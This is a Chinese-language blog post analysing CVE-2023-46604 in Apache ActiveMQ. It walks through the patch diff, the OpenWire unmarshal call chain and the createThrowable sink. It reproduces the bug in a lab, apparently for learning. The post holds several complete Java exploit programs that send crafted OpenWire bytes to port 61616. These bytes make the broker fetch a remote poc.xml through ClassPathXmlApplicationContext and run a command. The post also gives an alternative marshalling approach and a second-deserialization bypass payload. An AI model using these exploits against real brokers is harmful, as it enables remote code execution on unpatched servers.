ActiveMQ CVE-2023-46604漏洞分析
2024-10-22 18:31:01

炒个冷饭,最近实习在忙工作上的事情,加之最近没什么感兴趣的洞,复现学习一下之前的一些经典的漏洞,没想到很凑巧的是这个洞的第一线就是公司的师傅,复现的过程中和师傅们交流的时候接触到的是完全不一样的一种思路,但话又说会了,这不就是这个洞最原来的样子吗?至少我最后回过来看网上其他师傅们的文章,感觉就是大部分都干了,除了一两个大师傅的思路,又快又准,并且光从思路就能读出基础雄厚,条条大路通罗马。

话有点多了,本身这个洞师傅们都看的差不多了,后面正文的部分我就多写了一点了我的心路历程和踩过的坑。

漏洞描述

ActiveMQ默认开放了61616端口用于接收OpenWire协议消息,由于针对异常消息的处理存在反射调用逻辑,攻击者可能通过构造恶意的序列化消息数据加载恶意类,执行任意代码。

参考:https://www.oscs1024.com/hd/MPS-bd9c-7xsh

https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f

相关版本信息

本体:

[5.18.0, 5.18.3) (-∞, 5.15.16) [5.17.0, 5.17.6) [5.16.0, 5.16.7)

Maven依赖 activemq-client

[5.17.0, 5.17.6) [5.16.0, 5.16.7) (-∞, 5.15.16) [5.18.0, 5.18.3)

获取到了两段信息,一是好像不是反序列化的洞,是类加载了触发的静态代码块?还是实例化出来类的构造方法被执行了?之后sink具体分析再看。二是相关功能标识为OpenWire。

sink点和源码diff分析

patch diff分析

给出的commit中有两个包,一是activeMQ-client,二是activemq-openwire-legacy。改的其实都是一个类–BaseDataStreamMarshaller​,但是改的内容不是往他的里面加校验逻辑,而是重新创建了一个类OpenWireUtil,用来检验Class.forName出的类的类型是否为ThrowAble类型,如果不是就抛出异常,具体内容如下:

image

然后就是把这个Util类import进每一个BaseDataStreamMarshaller,这里的BaseDataStreamMarshaller为什么这么多呢?其实就是OpenWire这个传输协议有不同个版本,导致每一个版本都需要特别写一段MarShall反序列化的类,用来处理传输中的反序列化数据。有这些:

image

sink点分析

然而他每一个Marshaller都改了,说明每一个都能触发,随便找一个Marshaller具体跟进一下:

image

image

很好,那触发点应该是在createThrowable方法了,但是forName去全类名初始化类,然后实例化,实例化的参数是message。

心中确定三个目的就是,className和message以及createThrowable方法是否可控。message最终会做className指定类的构造方法的参数传入并执行相应的逻辑。并且我们可以看到message和className两者都是String类型,已经给我们标出了最终sink的模样:一个类的构造方法+参数为一个字符串,触发RCE或者代码执行。起初我想到了ScriptEnginer,但是他参数得是ClassLoader类型,就卡了我很久。只能说确实经验少了,ActiveMQ下自带Springboot的依赖,ClassPathXmlApplicationContext​肯定是可以用到的。现在最终的sink点找到了,往上寻找一下该如何调用进来。

source寻找和调用流分析

0x01 初步分析整体调用逻辑以及构造初步poc

往上寻找一下createThrowable方法被哪里调用了。两处地方,一处是tightUnmarshalThrowable​,还有一个looseUnmarsalThrowable​,其实两个都能触发

image

处理逻辑唯一的不同在于tight(严谨的反序列化)在获取clazz和message的时候会多加一个参数–booleanStream,这个是用来检测我们传输过来的数据是UTF-8的形式还是ASCII的形式。说是双重的原因其实也就是tight比loose(松弛的反序列化)多加了一层if判断boolean。所以这里其实还是有一层限制的,就是activeMQ上可能是tight的反序列化模式,导致我们要多写几次boolean,不过我默认启动activeMQ就是loose松弛模式的反序列化,之后写EXP会提到这个问题。

image

再网上寻找调用,其实两个反序列化都是一样的调用,这里我就拿looseUnmarshall来举例了。师傅们在网上应该也是最熟悉这个了。这里有三层调用,按道理来说,三者都能够调用到并且最终sink,但是具体的问题在于MessageAckMarshaller会有写入dataOut的操作,这个dataout还与我们的写入(具体到我们的payload)流进行了绑定,我没有具体跟进,但是我觉得为了避免具体的麻烦,还是找ExceptionReponse或者ConnectionError。

image

先试试ExceptionResponseMarshaller,之后打POC的再测试ConnectionError

跟进ExceptionResponseMarshaller的looseUnmarsalThrowable​方法调用,传入的参数是wireFormat以及dataIn,这一层了解参数即可

image

继续往上调用,这里的UnmarshaNestedObject其实在分析MessageAckMarshaller为什么不行的时候遇到过。但实际上这里的looseUnmarshalNestedObject是OpenWireFormat的一个工具类,他并不会直接参与61616端口的通信数据处理的过程。这里doUnmarshal是会的。

image

再往上寻找,是来到了OpenWireFormat的unmarshal方法,只不过有两种不同的传参,有一个是byteSequence的参数,最终还是要封装成DataInput传入doUnmarshal,并且参与的是正常数据的反序列化流程,doUnmarshal更像是一个处理所有传输数据类型的分流口。

我们跟进doUnmarshal的具体内容:

这里存在一处读数据的操作,也就是第一行DataInput流,调用readByte方法读取内容,这个读出来的数据被赋值为了dataType变量。接着往下这里就进行了判断,判断它是否为NULL_TYPE类型,这里的NULL_TYPE在内存中默认为0

image

只要不为0就开始找DataStreamMarshaller,怎么找,以及怎么找到我们想要的ExceptionRepsonseMarshaller或者ConnectionErrorMarshaller?其实就是根据dataType的值来的,在dataMarshllers内存中,分别对应16和31,所以可想而知,这里的值可以为16或者31,为了流畅性,我们先选择31的ExceptionRepsonseMarshaller。之后就是判断tightEncodingEnabled变量,我的activeMQ默认出来是false,也就是默认采用looseUnmarshal,之前也提到了这个问题,后续解答。

image

再往上调用,有两个地方都调用到了doUnmarshal,其实就是都是unMarshal方法,只是两者的接收参数不同,一个是byteSequence,一个是dataInput,我们如果构造poc发字节的话,其实dataInput更方便,byteSequence的调用还有一些方法会对字节进行操作,不太好构造。所以进入DataInput参数的unmarshal分析,在unmarshal中,也会有读取字节的操作–readInt,看上去是读取整个数据流字节的长度,但是只要这个值不是默认为空(为空会直接置为最大值),就不会进入下一个if判断超出接收的最大字节抛出错误。所以可知这里也要写一个数,有就行。

image

再后续就是TcpTransport中的一些操作了。

image

过程其实了解就好,其实可以读出来这个处理61616端口接收到的Tcp信息的逻辑是在干什么,一般通过这个方式进行的数据传输都是反序列化传输的,有没有洞就还是得自己去看和构造,挖这个洞的师傅明显是感受到了,并且对过程很了解。

现在分析过来其实主要集中于两个问题:1.我们如何向61616端口发送openwire协议信息及payload?2.如何控制payload的内容?

简要回答一下这两个问题:61616虽然明面上叫做openwire协议,实际上就是支持TCP协议进行传输。所以我们只需要在对应的语言中选择能够建立TCP链接,以及能够控制TCP传输内容的对应代码即可。然后直接上代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package Test;

import org.apache.activemq.transport.tcp.TcpTransport;

import java.io.*;
import java.net.Socket;

public class TestActiveMQ2 {
public static void main(String[] args) throws Exception{
//首先建立一个socket用以TCP通信,然后我们是通过socket将数据
Socket socket=new Socket("127.0.0.1",61616);
OutputStream SocketoutputStream=socket.getOutputStream();
DataOutputStream outputStream=new DataOutputStream(SocketoutputStream);
//第一段对应OpenWireFormat#unmarshal中对于size的获取int size = dis.readInt(); 这一段会用来判断是否超过单次TCP传输协议的最大值,如果我们不填就会查出最大值
outputStream.writeInt(6);
//这里对应OpenWireFormat#doUnmarshal方法,读取下一个字段,用来判断该以何种形式处理接下来的具体数据层,31对应的是ExceptionResponse反序列化类,也就是说我们接下来的具体数据层是在反序列化一个报错类。
//不过这个反序列化不是标准的反序列化,而是通过全类名forName进行加载之后,再通过实例化构造出。
outputStream.writeBytes("31");
//为了默认松弛loose反序列化,第一段writeBoolean其实是为了能够进去第一个大if判断,这个必须要,不然无法调用到具体逻辑。
outputStream.writeBoolean(true);
//第三个writeBoolean是为了clazz能够读取到,也就是我们想要初始化的那个类的全类名,读的时候是readUTF,所以写的时候也是readUTF。这里存在一个问题,我具体会在代码块之后讲解。
outputStream.writeBoolean(true);
outputStream.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//道理相同,写message
outputStream.writeBoolean(true);
outputStream.writeUTF("http://127.0.0.1:7567/poc.xml");
outputStream.flush();
outputStream.close();
SocketoutputStream.flush();
SocketoutputStream.close();

}
}

0x02 完整流程细节和最终poc

这么看好像没什么不对,完全符合我上面分析到的逻辑和调用栈,但事实是,当我调试到BaseDataStreamMarshaller#looseUnmarshalString,这里是开始读取Clazz字符串了,跟进到具体代码,readUTF报错了,为EOFExcetion。

1
2
3
4
5
6
7
protected String looseUnmarshalString(DataInput dataIn) throws IOException {
if (dataIn.readBoolean()) {
return dataIn.readUTF();
} else {
return null;
}
}

我一开始并不清楚为什么,开始一直往里面调试,就单独在调试dataIn.readUTF();​这一块,读取到第19个字节的时候就抛出EOF了,说明内容还是读取了,但是没有读到指定的内容,并且只读了19个字节。唯一的可能就是source分析的时候漏了一些读取的操作,导致POC没对。继续调试找问题

直到doUnmarshal都是没有问题的,我按照写的poc进行传输,进入doMarshal读取dataType是31,以这里为开始点,往下看,来到ExceptionResponseMarsheller的looseUnmarshal,很明显他这里的调用父类的looseUnmarshal中,还进行了两次次readInt和readBoolean:

image

image

image

所以我们还要补充两次次writeInt和writeBoolean,按调用顺序来,改完之后的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package Test;

import java.io.*;
import java.net.Socket;

public class TestActiveMQ2 {
public static void main(String[] args){
try {
//首先建立一个socket用以TCP通信,然后我们是通过socket将数据
Socket socket = new Socket("127.0.0.1", 61616);
OutputStream SocketoutputStream = socket.getOutputStream();
DataOutputStream out = new DataOutputStream(SocketoutputStream);
DataOutputStream outputStream = new DataOutputStream(SocketoutputStream);
//第一段对应OpenWireFormat#unmarshal中对于size的获取int size = dis.readInt(); 这一段会用来判断是否超过单次TCP传输协议的最大值,如果我们不填就会查出最大值
outputStream.writeInt(6);

//这里对应OpenWireFormat#doUnmarshal方法,读取下一个字段,用来判断该以何种形式处理接下来的具体数据层,31对应的是ExceptionResponse反序列化类,也就是说我们接下来的具体数据层是在反序列化一个报错类。
//不过这个反序列化不是标准的反序列化,而是通过全类名forName进行加载之后,再通过实例化构造出。
outputStream.writeByte(31);

//ExceptionResponseMarshaller在调用looseUnmarshal的时候会调用到父类的两次writeInt和writeBoolean
outputStream.writeInt(1);
outputStream.writeBoolean(true);
outputStream.writeInt(2);

//为了默认松弛loose反序列化,第一段writeBoolean其实是为了能够进去第一个大if判断,这个必须要,不然无法调用到具体逻辑。
outputStream.writeBoolean(true);
//outputStream.writeInt(1);
//第三个writeBoolean是为了clazz能够读取到,也就是我们想要初始化的那个类的全类名,读的时候是readUTF,所以写的时候也是readUTF。这里存在一个问题,我具体会在代码块之后讲解。
outputStream.writeBoolean(true);
outputStream.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//道理相同,写message
outputStream.writeBoolean(true);
outputStream.writeUTF("http://192.168.86.135:6171/poc.xml");
outputStream.flush();
outputStream.close();
SocketoutputStream.flush();
SocketoutputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}

再尝试打入:

image

image

我这里的poc.xml构造的命令是touch /tmp/stoocea,进容器看一眼:

image

patch随想

一开始就看了这个patch,一路分析下来感觉这个patch还是patch得挺好的,至少我看到得几个思路都被拦了,也就是没有绕过的。(水平太低了是这样的),他是在最终sink点patch的,我见过之前的某些系统的patch,比如24年今年8月份的ofbiz,他也是patch的sink的两个groovy脚本。为什么这个这么有效?而ofbiz的就能够随便绕过?ofbiz的几个groovysink都是具体到某一个利用,只要绕过鉴权就能够到处用,patch这几个利用肯定会有漏网之鱼,这就跟写黑名单一样。当时我也想顺着Y4师傅这个鉴权绕过挖几个CVE,但是奈何当时去打比赛打完萎靡不正,被其他人挖了,apache官方才patch了鉴权(是patch了鉴权吗,我忘得差不多了,至少那几个sink又被patch了)。后续这个利用思路就没声音了。

而activeMQ这个真正的利用点只有这一个反序列化,他前面没有涉及到通用的鉴权绕过或者其他通用绕过调用到API的思路,直接就是一条笔直的路,所以它拦在sink就能把攻击堵死。

一些问题的解决

tight or loose?

写这个文章就为了这最后几点,弄清楚一些问题而已.

一个一个来,首先是tight和loose两者Unmarshal反序列化到底有没有区别。这个问题其实看代码能明白,就看tightUnmarsalThrowable​方法即可(tightUnmarshal本身也是调用了父类的tightUnmarshal​方法,但和loose读的东西都是两个Int和一个boolean,没区别)tightUnmarshal​这里没区别,跟进tightUnmarshalString

image

这里就有区别了,看它注释的意思就是区别一下是以ASCII方法读取还是直接UTF-8的形式读取,那一层readBoolean过了,即使第二层if没过,也还是进行的dataIn.readUTF()。

image

而最后的createThrowable​是公共的。都是这个逻辑的sink。

所以结论就是:不论服务配置的是tight还是loose反序列化模式,都能拿这个poc直接打。

ExceptionResponse or ConnectionError?

不多说,直接打,31改成16就行,然后唯一需要注意的点ConnectionErrorMarshaller的looseUnmarshal也会调父类的looseUnmarshal​,不过它的父类之后就只会读取一次Int和Boolean,所以去掉一个Int就好

image

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package Test;

import java.io.*;
import java.net.Socket;

public class TestActiveMQ2 {
public static void main(String[] args){
try {
//首先建立一个socket用以TCP通信,然后我们是通过socket将数据
Socket socket = new Socket("127.0.0.1", 61616);
OutputStream SocketoutputStream = socket.getOutputStream();
DataOutputStream out = new DataOutputStream(SocketoutputStream);
DataOutputStream outputStream = new DataOutputStream(SocketoutputStream);
//第一段对应OpenWireFormat#unmarshal中对于size的获取int size = dis.readInt(); 这一段会用来判断是否超过单次TCP传输协议的最大值,如果我们不填就会查出最大值
outputStream.writeInt(6);

//这里对应OpenWireFormat#doUnmarshal方法,读取下一个字段,用来判断该以何种形式处理接下来的具体数据层,31对应的是ExceptionResponse反序列化类,也就是说我们接下来的具体数据层是在反序列化一个报错类。
//不过这个反序列化不是标准的反序列化,而是通过全类名forName进行加载之后,再通过实例化构造出。
outputStream.writeByte(16);

//ExceptionResponseMarshaller在调用looseUnmarshal的时候会调用到父类的两次writeInt和writeBoolean
outputStream.writeInt(1);
outputStream.writeBoolean(true);
//如果是ConnectionErrorMarshaller线,就把这一个Int去掉,本身调用父类的loose或者tightmarshal只会读取一次int和boolean
outputStream.writeInt(2);

//为了默认松弛loose反序列化,第一段writeBoolean其实是为了能够进去第一个大if判断,这个必须要,不然无法调用到具体逻辑。
outputStream.writeBoolean(true);
//outputStream.writeInt(1);
//第三个writeBoolean是为了clazz能够读取到,也就是我们想要初始化的那个类的全类名,读的时候是readUTF,所以写的时候也是readUTF。这里存在一个问题,我具体会在代码块之后讲解。
outputStream.writeBoolean(true);
outputStream.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//道理相同,写message
outputStream.writeBoolean(true);
outputStream.writeUTF("http://192.168.86.135:6171/poc.xml");
outputStream.flush();
outputStream.close();
SocketoutputStream.flush();
SocketoutputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}

直接打,也是没问题

image

结论就是,小改一个WriteInt就好

openWire协议分析

这个我是最没花时间的,官方文档写了他就是默认支持tcp协议,所以开个socket然后客户端引入activeMQ的client依赖写生产者或者写dataInput都可以了。

X1新解法

这个洞当时师傅们还在争着复现的时候,X1师傅应该是比较早发出来的,师傅们后续复现绝大部分思路都是跟着X1师傅走的,这个思路只能说很牛逼,不得不评鉴的一环。

一开始是根据sink找到了ExceptionRepsonseMarshaller类,然后定位到ExceptionResponse​类,从他的getter方法中获取到了它的内存表示为31。这一点就是另一个思考的方式,先看看当前这个sink类是在干什么。

最后就是他如何构造poc的思路,反过来想,既然这个协议我还没分析怎么做,不知道怎么构造协议,那我直接下他的依赖,看看他序列化是怎么进行的,然后调用他这个具体的方法即可。找到了TcpTransport中的oneway方法

image

原文如下:

image

其实它发送数据的形式跟官网的很一样,我一开始也是这么做的,官网文档随便翻找一下:https://activemq.apache.org/components/classic/documentation/version-5-hello-world。正好在复现这个洞之前看了消息队列的相关知识:https://xz.aliyun.com/t/13778,很自然的想到消费者生产者以及message的逻辑,所以在sink的时候我没什么陌生感。

所以他的做法就是patch一个同包名下的TcpTransport,重新对应的逻辑,classloader在找类的时候由于Application ClassLoader加载该类的时会先查找当前包下是否存在该类,所以先加载到了它,那么重写就是重写oneway方法,这样就可以借刀杀人,把我们想要的ClassPathXmlApplicationContext给写进去。

1
2
3
4
5
6
7
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}

但是之后的marshal会通过o.getClass().getName()​获取类名,此时的ClassPathXmlApplicationContext还是它本身这个类型,X1师傅采取方式是patch ClassPathXmlApplicationContext​,继承Throwable类型就好,之后就是交给activeMQ本身的marshal即可,他会把字节写成31的

image

整体只能说很牛逼,狠狠的学了。

新绕过

今年WMCTF的时候做到的,当时辛亏还是小叮师傅的帮助下把这道题A出来了,当时其实如果我这么复现过ActivMQ就不会那么坐牢做一天才把他做出来了,整体思路还是一样的。实例化调用方法,传参为字符串形式就能够利用。打的是二次反序列化,出自某年的KCON—Make ActiveMQ Attack Authoritative

1
new org.apache.activemq.shiro.env.IniEnvironment(""[main]\nactiveMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\nactiveMQObjectMessage.content=\"CCString\""");

总结

主要写两个东西,感想和以面看待该洞。

首先在复现这个洞之前学了一手消息队列的基础知识,笔记就不放了,我要随时补充,会很乱。了解到如果说像类似于这种MQ形式的中间件如果出问题了,影响到的是整个业务,因为一切调度都要经过这个MQ,所以这类中间件漏洞是很重要和威胁的,然而在此之前要先了解这些中间件都是用来干什么的,基础概念还是要懂,我作为一个经过了很久有充足时间的人去复现这个漏洞,是可以把他基础先看完再来看洞的,所以陌生感少很多。但是真到了漏洞应急或者需要我们挖洞的时候,这些基础都是短时间补不上的,平时还是得多看,书到用时方恨少。

分析复现,以及出poc看sink和source是很快,但是真正去学到东西,除了一步一步写出poc练到的操作和思考,其实还要以面去看这个洞,他实战如何打?怎么绕过,怎么武器化?都是我现在需要去做和练的。

上一页
2024-10-22 18:31:01